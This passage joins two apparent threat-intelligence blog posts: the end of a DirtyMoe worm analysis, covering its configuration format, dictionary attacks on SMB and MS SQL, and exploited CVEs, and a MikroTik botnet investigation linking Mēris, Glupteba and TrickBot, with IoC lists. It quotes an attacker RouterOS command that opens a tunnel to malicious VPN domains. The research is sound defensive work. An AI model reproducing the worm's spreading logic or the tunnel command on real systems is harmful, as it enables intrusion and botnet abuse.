Dayspan and Hourspan Lists
These lists manage IP addresses and their insertion timestamps used for the dictionary attack. The IP addresses are picked up based on a threshold value defined in the configuration. The IP will be processed if the IP address timestamp surpasses the threshold value of the day or hour span. If, for example, the threshold is set to 1, then if a day/hour span of the current date and a timestamp is greater than 1, a corresponding IP will be processed. The Dayspan list registers IPs generated by Class B from IP Table, Fully Random IP, and Derived Classes A methods; in other words, IPs that are further away from the worming module location. On the other hand, the Hourspan list records IPs located closer.

Thirdly, the module reads its configuration described by the @InfSign@ placeholder. The configuration matches this pattern: <IP>|<PNG_ID>|<timeout>|[SMB:HX:PX1.X2.X3:AX:RX:BX:CX:DX:NX:SMB]

• IP is the number representing the machine IP from which the attack will be carried out. The IP is input for the methods generating IPs; see Section 4. If the IP is not available, the default address 98.126.89.1 is used.
• PNG_ID is the number used to derive the hash-name that mirrors the DirtyMoe object name (MSI installer package) stored at C&C. The hashname is generated using MS_RPC_<n> string where n is PNG_ID; see Section 3.
• Timeout is the default timeout for connections to the attacked services in seconds.
• HX is a threshold for comparing IP timestamps stored in the Dayspan and Hourspan lists. The comparison ascertains whether an IP address will be processed if the timestamp of the IP address exceeds the day/hour threshold.
• P is the flag for the dictionary attack.
  • X1 number determines how many initial passwords will be used from the password dictionary to increase the probability of success – the dictionary contains the most used passwords at the beginning.
  • X2 number is used for the second stage of the dictionary attack if the first X1 passwords are unsuccessful. Then the worming module tries to select X2 passwords from the dictionary randomly.
  • X3 number defines how many threads will process the Dayspan and Hourspan lists; more precisely, how many threads will attack the registered IP addresses in the Dayspan/Hourspan lists.
• AX: how many threads will generate IP addresses using Class B from IP Table methods.
• RX: how many threads for the Fully Random IP method.
• BX, CX, DX: how many threads for the Derived Classes A, B, C methods.
• NX defines a thread quantity for the Derived Local IPs method.

The typical configuration can be 217.xxx.xxx.xxx|5|2|[SMB:H1:P1.30.3:A10:R3:B3:C3:D1:N3:SMB]

Finally, the worming module starts all threads defined by the configuration, and the worming process and attacks are started.

6.3 Worming

The worming process has five phases run, more or less, in parallel. Figure 16 has an animation of the worming process.

Phase 1

The worming module usually starts 23 threads generating IP addresses based on Section 4. The IP addresses are classified into two groups: day-span and hour-span.

Phase 2

The second phase runs in parallel with the first; its goal is to test generated IPs. Each specific module targets defined ports ​that are verified via sending a zero-length transport datagram. If the port is active and ready to receive data, the IP address of the active port is added to IP Address Backlog. Additionally, the SMB worming module immediately tries the EternalBlue attack within the port scan.

Phase 3

The IP addresses verified in Phase 2 are also registered into the Dayspan and Hourspan lists. The module keeps only 100 items (IP addresses), and the lists are implemented as a queue. Therefore, some IPs can be removed from these lists if the IP address generation is too fast or the dictionary attacks are too slow. However, the removed addresses are still present in the IP Address Backlog.

Phase 4

The threads created based on the X3 configuration parameters process and manage the items (IPs) of Dayspan and Hourspan lists. Each thread picks up an item from the corresponding list, and if the defined day/hour threshold (HX parameter) is exceeded, the module starts the dictionary attack to the picked-up IP address.

Phase 5

Each generated and verified IP is associated with a timestamp of creation. The last phase is activated if the previous timestamp is older than 10 minutes, i.e., if the IP generation is suspended for any reason and no new IPs come in 10 minutes. Then one dedicated thread extracts IPs from the backlog and processes these IPs from the beginning; These IPs are processed as per Phase 2, and the whole worming process continues.

6.4 Dictionary Attack

The dictionary attack targets two administrator user names, namely administrator for SMB services and sa for MS SQL servers. If the attack is successful, the worming module infiltrates a targeted system utilizing an attack series composed of techniques described in Section 5:

• Service Control Manager Remote Protocol (SCMR)
• Windows Management Instrumentation (WMI)
• Microsoft SQL Server (SQL)

The first attack attempt is sent with an empty password. The module then addresses three states based on the attack response as follows:

• No connection: the connection was not established, although a targeted port is open – a targeted service is not available on this port.
• Unsuccessful: the targeted service/system is available, but authentication failed due to an incorrect username or password.
• Success: the targeted service/system uses the empty password.

Administrator account has an empty password 

If the administrator account is not protected, the whole worming process occurs quickly (this is the best possible outcome from the attacker’s point of view). The worming module then proceeds to infiltrate the targeted system with the attack series (SCMR, WMI, SQL) by sending the empty password.

Bad username or authentication information

A more complex situation occurs if the targeted services are active, and it is necessary to attack the system by applying the password dictionary.

Cleverly, the module stores all previously successful passwords in the system registry; the first phase of the dictionary attack iterates through all stored passwords and uses these to attack the targeted system. Then, the attack series (SCMR, WMI, SQL) is started if the password is successfully guessed.

The second phase occurs if the stored registry passwords yield no success. The module then attempts authentication using a defined number of initial passwords from the password dictionary. This number is specified by the X1 configuration parameters (usually X1*100). If this phase is successful, the guessed password is stored in the system registry, and the attack series is initiated.

The final phase follows if the second phase is not successful. The module randomly chooses a password from a dictionary subset X2*100 times. The subset is defined as the original dictionary minus the first X1*100 items. In case of success, the attack series is invoked, and the password is added to the system registry.

Successfully used passwords are stored encrypted, in the following system registry location:
HKEY_LOCAL_MACHINE\Software\Microsoft\DirectPlay8\Direct3D\RegRunInfo-BarkIPsInfo

7. Summary and Discussion

Modules

We have detected three versions of the DirtyMoe worming module in use. Two versions specifically focus on the SMB service and MS SQL servers. However, the third contains several artifacts implying other attack vectors targeting PHP, Java Deserialization, and Oracle Weblogic Server. We continue to monitor and track these activities.

Attacked Machines

One interesting finding is an attack adaptation based on the geological location of the worming module. Methods described in Section 4 try to distribute the generated IP addresses evenly to cover the largest possible radius. This is achieved using the IP address of the worming module itself since half of the threads generating the victim’s IPs are based on the module IP address. Otherwise, if the IP is not available for some reason, the IP address 98.126.89.1 located in Los Angeles is used as the base address.

We performed a few VPN experiments for the following locations: the United States, Russian Federation, Czech Republic, and Taiwan. The results are animated in Figure 17; Table 1 records the attack distributions for each tested VPN.

VPN	Attack Distribution	Top countries
United States	North America (59%) Europe (21%) Asia (16%)	United States
Russian Federation	North America (41%) Europe (33%) Asia (20%)	United States, Iran, United Kingdom, France, Russian Federation
Czech Republic	Europe (56%) Asia (14%) South America (11%)	China, Brazil, Egypt, United States, Germany
Taiwan	North America (47%) Europe (22%) Asia (18%)	United States, United Kingdom, Japan, Brazil, Turkey

LAN

Perhaps the most striking discovery was the observed lateral movement in local networks. The module keeps all successfully guessed passwords in the system registry; these saved passwords increase the probability of password guessing in local networks, particularly in home and small business networks. Therefore, if machines in a local network use the same weak passwords that can be easily assessed, the module can quickly infiltrate the local network.

Exploits

All abused exploits are from publicly available resources. We have identified six main vulnerabilities summarized in Table 2. The worming module adopts the exact implementation of EternalBlue, ThinkPHP, and Oracle Weblogic Server exploits from exploit-db. In the same way, the module applies and modifies implementations of DoublePulsar, Tater, and PowerSploit frameworks.

ID	Description
CVE:2019-9082	ThinkPHP – Multiple PHP Injection RCEs
CVE:2019-2725	Oracle Weblogic Server – ‘AsyncResponseService’ Deserialization RCE
CVE:2019-1458	WizardOpium Local Privilege Escalation
CVE:2018-0147	Deserialization Vulnerability
CVE:2017-0144	EternalBlue SMB Remote Code Execution (MS17-010)
MS15-076	RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)

C&C Servers

The C&C servers determine which module will be deployed on a victim machine. The mechanism of the worming module selection depends on client information additionally sent to the C&C servers. However, details of how this module selection works remain to be discovered.

Password Dictionary

The password dictionary is a collection of the most commonly used passwords obtained from the internet. The dictionary size is 100,000 words and numbers across several topics and languages. There are several language mutations for the top world languages, e.g., English, Spanish, Portuguese, German, French, etc. (passwort, heslo, haslo, lozinka, parool, wachtwoord, jelszo, contrasena, motdepasse). Other topics are cars (volkswagen, fiat, hyundai, bugatti, ford) and art (davinci, vermeer, munch, michelangelo, vangogh). The dictionary also includes dirty words and some curious names of historical personalities like hitler, stalin, lenin, hussein, churchill, putin, etc.

The dictionary is used for SCMR, WMI, and SQL attacks. However, the SQL module hard-codes another 15 pairs of usernames/passwords also collected from the internet. The SQL passwords usually are default passwords of the most well-known systems.

Worming Workflow

The modules also implement a technique for repeated attacks on machines with ‘live’ targeted ports, even when the first attack was unsuccessful. The attacks can be scheduled hourly or daily based on the worm configuration. This approach can prevent a firewall from blocking an attacking machine and reduce the risk of detection.

Another essential attribute is the closing of TCP port 445 port following a successful exploit of a targeted system. This way, compromised machines are “protected” from other malware that abuse the same vulnerabilities. The MSI installer also includes a mechanism to prevent overwriting DirtyMoe by itself so that the configuration and already downloaded modules are preserved.

IP Generation Performance

The primary key to this worm’s success is the performance of the IP generator. We have used empirical measurement to determine the performance of the worming module. This measurement indicates that one module instance can generate and attack 1,500 IPs per second on average. However, one of the tested instances could generate up to 6,000 IPs/sec, so one instance can try two million IPs per day.

The evidence suggests that approximately 1,900 instances can generate the whole IPv4 range in one day; our detections estimate more than 7,000 active instances exist in the wild. In theory, the effect is that DirtyMoe can generate and potentially target the entire IPv4 range three times a day.

8. Conclusion

The primary goal of this research was to analyze one of the DirtyMoe module groups, which provides the spreading of the DirtyMoe malware using worming techniques. The second aim of this study was to investigate the effects of worming and investigate which exploits are in use. 

In most cases, DirtyMoe is deployed using external exploit kits like PurpleFox or injected installers of Telegram Messenger that require user interaction to successful infiltration. Importantly, worming is controlled by C&C and executed by active DirtyMoe instances, so user interaction is not required.

Worming target IPs are generated utilizing the cleverly designed algorithm that evenly generates IP addresses across the world and in relation to the geological location of the worming module. Moreover, the module targets local/home networks. Because of this, public IPs and even private networks behind firewalls are at risk.

Victims’ active machines are attacked using EternalBlue exploits and dictionary attacks aimed at SCMR, WMI, and MS SQL services with weak passwords. Additionally, we have detected a total of six vulnerabilities abused by the worming module that implement publicly disclosed exploits.

We also discovered one worming module in development containing other vulnerability exploit implementations – it did not appear to be fully armed for deployment. However, there is a chance that tested exploits are already implemented and are spreading in the wild. 

Based on the amount of active DirtyMoe instances, it can be argued that worming can threaten hundreds of thousands of computers per day. Furthermore, new vulnerabilities, such as Log4j, provide a tremendous and powerful opportunity to implement a new worming module. With this in mind, our researchers continue to monitor the worming activities and hunt for other worming modules.

IOCs

CVE-2019-1458: “WizardOpium’ Local Privilege Escalation
fef7b5df28973ecf8e8ceffa8777498a36f3a7ca1b4720b23d0df18c53628c40

SMB worming modules
f78b7b0faf819328f72a7181ed8cc52890fedcd9bf612700d7b398f1b9d77ab6
dc1dd648287bb526f11ebacf31edd06089f50c551f7724b98183b10ab339fe2b

SQL worming modules
df8f37cb2f20ebd8f22e866ee0e25be7d3731e4d2af210f127018e2267c73065
b3e8497a4cf00489632e54e2512c05d9c80288c2164019d53615dd53c0977fa7

Worming modules in development
36e0e1e4746d0db1f52aff101a103ecfb0414c8c04844521867ef83466c75340

References

[1] Malicious Telegram Installer Drops Purple Fox Rootkit
[2] Purple Fox Rootkit Now Propagates as a Worm
[3] Exploit-db: ‘EternalBlue’ SMB Remote Code Execution (MS17-010)
[4] Threat Spotlight: The Shadow Brokers and EternalPulsar Malware
[5] Service Control Manager Remote Protocol
[6] Windows Management Instrumentation
[7] Exploit-db: ThinkPHP – Multiple PHP Injection RCEs (Metasploit)
[8] Exploit-db: Deserialization Vulnerability
[9] Exploit-db: ‘AsyncResponseService’ Deserialization RCE (Metasploit)

The post DirtyMoe: Worming Modules appeared first on Avast Threat Labs.

This is the story of piecing together information and research leading to the discovery of one of the largest botnet-as-a-service cybercrime operations we’ve seen in a while. This research reveals that a cryptomining malware campaign we reported in 2018, Glupteba malware, significant DDoS attacks targeting several companies in Russia, including Yandex, as well as in New Zealand, and the United States, and presumably also the TrickBot malware were all distributed by the same C2 server. I strongly believe the C2 server serves as a botnet-as-a-service controlling nearly 230,000 vulnerable MikroTik routers, and may be the Meris botnet QRator Labs described in their blog post, which helped carry out the aforementioned DDoS attacks. Default credentials, several vulnerabilities, but most importantly the CVE-2018-14847 vulnerability, which was publicized in 2018, and for which MikroTik issued a fix for, allowed the cybercriminals behind this botnet to enslave all of these routers, and to presumably rent them out as a service. 

The evening of July 8, 2021

As a fan of MikroTik routers, I keep a close eye on what’s going on with these routers. I have been tracking MikroTik routers for years, reporting a crypto mining campaign abusing the routers as far back as 2018. The mayhem around MikroTik routers began in 2018 mainly thanks to vulnerability CVE-2018-14847, which allowed cybercriminals to very easily bypass authentication on the routers. Sadly, many MikroTik routers were left unpatched, leaving their default credentials exposed on the internet.

Naturally, an email from our partners, sent on July 8, 2021, regarding a TrickBot campaign landed in my inbox. They informed us that they found a couple of new C2 servers that seemed to be hosted on IoT devices, specifically MikroTik routers, sending us the IPs. This immediately caught my attention. 

MikroTik routers are pretty robust but run on a proprietary OS, so it seemed unlikely that the routers were hosting the C2 binary directly. The only logical conclusion I could come to was that the servers were using enslaved MikroTik devices to proxy traffic to the next tier of C2 servers to hide them from malware hunters.  

I instantly had deja-vu, and thought “They are misusing that vulnerability aga…”.

Opening Pandora’s box full of dark magic and evil

Knowing all this, I decided to experiment by deploying a honeypot, more precisely a vulnerable version of a MikroTik cloud router exposed to the internet. I captured all the traffic and logged everything from the virtual device. Initially, I thought, let’s give it a week to see what’s going on in the wild.

In the past, we were only dealing with already compromised devices seeing the state they had been left in, after the fact. I was hoping to observe the initial compromise as it happened in real-time. 

Exactly 15 minutes after deploying the honeypot, and it’s important to note that I intentionally changed the admin username and password to a really strong combination before activating it, I saw someone logging in to the router using the infamous CVE described above (which was later confirmed by PCAP analysis).

We’ve often seen fetch scripts from various domains hidden behind Cloudflare proxies used against compromised routers.

But either by mistake, or maybe intentionally, the first fetch that happened after the attacker got inside went to: 

bestony.club at that time was not hidden behind Cloudflare and resolved directly to an IP address (116.202.93.14), a VPS hosted by Hetzner in Germany. This first fetch served a script that tried to fetch additional scripts from the other domains.

What is the intention of this script you ask? Well, as you can see, it tries to overwrite and rename all existing scheduled scripts named U3, U4..U7 and set scheduled tasks to repeatedly import script fetched from the particular address, replacing the first stage “bestony.info” with “globalmoby.xyz”. In this case, the domain is already hidden behind CloudFlare to minimize likeness to reveal the real IP address if the C2 server is spotted.

The second stage of the script, pulled from the C2, is more concrete and meaningful:

It hardens the router by closing all management interfaces leaving only SSH, and WinBox (the initial attack vector) open and enables the SOCKS4 proxy server on port 5678.

Interestingly, all of the URLs had the same format:

http://[domainname]/poll/[GUID]

The logical assumption for this would be that the same system is serving them, if bestony.club points to a real IP, while globalmoby.xyz is hidden behind a proxy, Cloudflare probably hides the same IP. So, I did a quick test by issuing:  

And it worked! Notice two things here; it’s necessary to put a --user-agent header to imitate the router; otherwise, it won’t work. I found out that the GUID doesn’t matter when issuing the request for the first time, the router is probably registered in the database, so anything that fits the GUID format will work. The second observation was that every GUID works only once or has some rate limitation. Testing the endpoint, I also found that there is a bug or a “silent error” when the end of the URL doesn’t conform to the GUID, for example:

It works too, and it works consistently, not just once. It seems when inserting the URL into the database, an error/exception is thrown, but because it is silently ignored, nothing is written into the database, but still the script is returned (which is quite interesting, that would mean the scripts are not exactly tied to the ID of the victim).

Listing used domains

The bestony.club is the first stage, and it gets us the second stage script and Cloudflare hidden domain. You can see the GUID is reused throughout the stages. Provided all that we’ve learned, I tried to query the   

It worked several times, and as a bonus, it was returning different domains now and then. So by creating a simple script, we “generated” a list of domains being actively used. 

domain	IP	ISP
bestony.club	116.202.93.14	Hetzner, DE
massgames.space	multiple	Cloudflare
widechanges.best	multiple	Cloudflare
weirdgames.info	multiple	Cloudflare
globalmoby.xyz	multiple	Cloudflare
specialword.xyz	multiple	Cloudflare
portgame.website	multiple	Cloudflare
strtz.site	multiple	Cloudflare

The evil spreads its wings

Having all these domains, I decided to pursue the next step to check whether all the hidden domains behind Cloudflare are actually hosted on the same server. I was closer to thinking that the central C&C server was hosted there too. Using the same trick, querying the IP directly with the host header, led to the already expected conclusion:

Yes, all the domains worked against the IP, moreover, if you try to query a GUID, particularly using the host headers trick:

It won’t work again using the full URL and vice versa.

Which returns an error as the GUID has been already registered by the first query, proving that we are accessing the same server and data.

Obviously, we found more than we asked for, but that was not the end.

A short history of CVE-2018-14847

It all probably started back in 2018, more precisely on April 23, when Latvian hardware company MikroTik publicly announced that they fixed and released an update for their very famous and widely used routers, patching the CVE-2018-14847 vulnerability. This vulnerability allowed anyone to literally download the user database and easily decode passwords from the device remotely by just using a few packets through the exposed administrative protocol TCP port 8291. The bar was low enough for anyone to exploit it, and no force could have pushed users to update the firmware. So the outcome was as expected: Cybercriminals had started to exploit it.

The root cause 

Tons of articles and analysis of this vulnerability have been published. The original explanation behind it was focused more on how the WinBox protocol works and that you can ask a file from the router if it’s not considered as sensitive in pre-auth state of communication. Unfortunately, in the reading code path there is also a path traversal vulnerability that allows an attacker to access any file, even if it is considered as sensitive. The great and detailed explanation is in this post from Tenable. The researchers also found that this path traversal vulnerability is shared among other “API functions” handlers, so it’s also possible to write an arbitrary file to the router using the same trick, which greatly enlarges the attack surface.

Messy situation

Since then, we’ve been seeing plenty of different strains misusing the vulnerability. The first noticeable one was crypto mining malware cleverly setting up the router using standard functions and built-in proxy to inject crypto mining JavaScript into every HTTP request being made by users behind the router, amplifying the financial gain greatly. More in our Avast blog post from 2018.

Since then, the vulnerable routers resembled a war field, where various attackers were fighting for the device, overwriting each other’s scripts with their own. One such noticeable strain was Glupteba misusing the router and installing scheduled scripts that repeatedly reached out for commands from C2 servers to establish a SOCKS proxy on the device that allowed it to anonymize other malicious traffic.

Now, we see another active campaign is being hosted on the same servers, so is there any remote possibility that these campaigns are somehow connected?

Closing the loop

As mentioned before, all the leads led to this one particular IP address  (which doesn’t work anymore)

116.202.93.14 

It was more than evident that this IP is a C2 server used for an ongoing campaign, so let’s find out more about it, to see if we can find any ties or indication that it is connected to the other campaigns.

It turned out that this particular IP has been already seen and resolved to various domains. Using the RISKIQ service, we also found one eminent domain tik.anyget.ru. When following the leads and when digging deeper and trying to find malicious samples that access the particular host, we bumped into this interesting sample:

a0b07c09e5785098e6b660f93097f931a60b710e1cf16ac554f10476084bffcb

The sample was accessing the following URL, directly http://tik.anyget.ru/api/manager from there it downloaded a JSON file with a list of IP addresses. This sample is ARM32 SOCKS proxy server binary written in Go and linked to the Glupteba malware campaign. The first recorded submission in VirusTotal was from November 2020, which fits with the Glupteba outbreak.

It seems that the Glupteba malware campaign used the same server.

When requesting the URL http://tik.anyget.ru I was redirected to the http://routers.rip/site/login domain (which is again hidden by the Cloudflare proxy) however, what we got will blow your mind:

This is a control panel for the orchestration of enslaved MikroTik routers. As you can see, the number at the top displays the actual number of devices, close to 230K of devices, connected into the botnet. To be sure, we are still looking at the same host we tried:

And it worked. Encouraged by this, I also tried several other IoCs from previous campaigns:

From the crypto mining campaign back in 2018:

To the Glupteba sample:

All of them worked. Either all of these campaigns are one, or we are witnessing a botnet-as-a-service. From what I’ve seen, I think the second is more likely. When browsing through the control panel, I found one section that had not been password protected, a presets page in the control panel:

The oddity here is that the page automatically switches into Russian even though the rest stays in English (intention, mistake?). What we see here are configuration templates for MikroTik devices. One in particular tied the loop of connecting the pieces together even more tightly. The VPN configuration template

This confirms our suspicion, because these exact configurations can be found on all of our honeypots and affected routers:

Having all these indications and IoCs collected, I knew I was dealing with a trove of secrets and historical data since the beginning of the outbreak of the MikroTik campaign. I also ran an IPV4 thorough scan for socks port 5678, which was a strong indicator of the campaign at that time, and I came up with almost 400K devices with this port opened. The socks port was opened on my honeypot, and as soon as it got infected, all the available bandwidth of 1Mbps was depleted in an instant. At that point, I thought this could be the enormous power needed for  DDoS attacks, and then two days later…

Mēris 

On September 7, 2021, QRator Labs published a  blog post about a new botnet called Mēris.  Mēris is a botnet of considerable scale misusing MikroTik devices to carry out one of the most significant DDoS attacks against Yandex, the biggest search engine in Russia, as well as attacks against companies in Russia, New Zealand, and the United States. It had all the features I’ve described in my investigation.

The day after the publication appeared, the C2 server stopped serving scripts, and the next day, it disappeared completely. I don’t know if it was a part of a legal enforcement action or just pure coincidence that the attackers decided to bail out on the operation in light of the public attention on Mēris. The same day my honeypots restored the configuration by closing the SOCKS proxies.

TrickBot

As the IP addresses mentioned at the very beginning of this post sparked our wild investigation, we owe TrickBot a section in this post. The question, which likely comes to mind now is: “Is TrickBot yet another campaign using the same botnet-as-a-service?”. We can’t tell for sure. However, what we can share is what we found on devices. The way TrickBot proxies the traffic using the NAT functionality in MikroTik usually looks like this:

Part of IoC fingerprint is that usually, the same rule is there multiple times, as the infection script doesn’t check if it is already there:

Although in the case of TrickBot we are not entirely sure if this could be taken as proof, I found some shared IoCs, such as  

• Outgoing PPTP/L2TP VPN tunnel on domains
  /interface l2tp-client add connect-to=<sxx.eeongous.com|sxx.leappoach.info> disabled=no name=lvpn password=<passXXXXXXX> profile=default user=<userXXXXXXX>
• Scheduled scripts / SOCKS proxies enabled as in previous case
• Common password being set on most of the TrickBot MikroTik C2 proxies

It’s, however, not clear if this is a pure coincidence and a result of the router being infected more than once, or if the same C2 was used. From the collected NAT translation, I’ve been able to identify a few IP addresses of the next tier of TrickBot C2 servers (see IoCs section).

Not only MikroTik used by TrickBot

When investigating the TrickBot case I saw (especially after the Mēris case was published) a slight shift over time towards other IoT devices, other than MikroTik. Using the SSH port fingerprinting I came across several devices with an SSL certificate leading to LigoWave devices. Again, the modus operandi seems to be the same, the initial vector of infection seems to be default credentials, then using capabilities of the device to proxy the traffic from the public IP address to TrickBot “hidden” C2 IP address.

To find the default password it took 0.35 sec on Google

The same password can be used to login into the device using SSH as admin with full privileges and then it’s a matter of using iptables to set up the same NAT translation as we saw in the MikroTik case

They know the devices

During my research, what struck me was how the criminals paid attention to details and subtle nuances. For example, we found one configuration on this device: 

Knowing this device type, the attacker has disabled a physical display that loops through the stats of all the interfaces, purposefully to hide the fact that there is a malicious VPN running.

Remediation

The main and most important step to take is to update your router to the latest version and remove the administrative interface from the public-facing interface, you can follow our recommendation from our 2018 blog post which is still valid. In regards to TrickBot campaign, there are few more things you can do:

• check all dst-nat mappings in your router, from SSH or TELNET terminal you can simply type:
  /ip firewall nat print and look for the nat rules that are following the aforementioned rules or are suspicious, especially if the dst-address and to-address are both public IP addresses.
• check the usernames /user print if you see any unusual username or any of the usernames from our IoCs delete them 
• If you can’t access your router on usual ports, you can check one of the alternative ones in our IoCs as attackers used to change them to prevent others from taking back  ownership of the device. 
• Check the last paragraph of this blog post  for more details on how to setup your router in a safe manner

Conclusion

Since 2018, vulnerable  MikroTik routers have been misused for several campaigns. I believe, and as some of the IoCs and my research prove, that a botnet offered for service has been in operation since then. 

It also shows, what is quite obvious for some time already (see our Q3 2021 report), that IoT devices are being heavily targeted not just to run malware on them, which is hard to write and spread massively considering all the different architectures and OS versions, but to simply use their legal and built-in capabilities to set them up as proxies. This is done to either anonymize the attacker’s traces or to serve as a DDoS amplification tool. What we see here is just the tip of the iceberg and it is vital to note that properly and securely setting up devices and keeping them up-to-date is crucial to avoid becoming an easy target and helping facilitate criminal activity.

Just recently, new information popped up showing that the REvil ransomware gang is using MikroTik devices for DDoS attacks. The researchers from Imperva mention in their post that the  Mēris botnet is likely being used to carry out the attack, however, as far as we know the Mēris botnet was dismantled by Russian law enforcement. This a new re-incarnation or the well-known vulnerabilities in MikroTik routers are being exploited again. I can’t tell right now, but what I can tell is that patch adoption and generally, security of IoT devices and routers, in particular, is not good. It’s important to understand that updating devices is not just the sole responsibility of router vendors, but we are all responsible. To make this world more secure, we need to all come together to jointly make sure routers are secure, so please, take a few minutes now to update your routers set up a strong password, disable the administration interface from the public side, and help all the others who are not that technically savvy to do so.

IoC

Main C2 server:

• 116.202.93.14

Glupteba ARM32 proxy sample:

sha256: a0b07c09e5785098e6b660f93097f931a60b710e1cf16ac554f10476084bffcb

C2 domains:

• ciskotik.com
• motinkon.co
• bestony.club
• massgames.space
• widechanges.best
• weirdgames.info
• globalmoby.xyz
• specialword.xyz
• portgame.website
• strtz.site
• myfrance.xyz
• routers.rip
• tik.anyget.ru

VPN server domain names:

• s[xx].leappoach.info
• s[xx].eeongous.com

VPN name (name of VPN interface):

• lvpn

Alternate SSH ports on routers:

• 26
• 220
• 2222
• 2255
• 3535
• 7022
• 10022
• 12067
• 12355
• 19854
• 22515
• 22192
• 43321
• 51922

Alternate TELNET ports on routers:

• 230
• 32
• 2323
• 2355
• 10023
• 50000
• 52323

Alternate WinBox ports on routers:

• 123
• 700
• 1205
• 1430
• 8091
• 8292
• 8295
• 50001
• 52798

Trickbot “hidden” C2 servers:

• 31.14.40.116
• 45.89.125.253
• 185.10.68.16
• 31.14.40.207
• 185.244.150.26
• 195.123.212.17
• 31.14.40.173
• 88.119.170.242
• 103.145.13.31
• 170.130.55.84
• 45.11.183.152
• 185.212.170.250
• 23.106.124.76
• 31.14.40.107
• 77.247.110.57

TrickBot ports on MikroTik being redirected:

• 449
• 443
• 80

TrickBot ports on hidden servers:

• 447
• 443
• 80
• 8109
• 8119
• 8102
• 8129
• 8082
• 8001
• 8133
• 8121

The post Mēris and TrickBot standing on the shoulders of giants appeared first on Avast Threat Labs.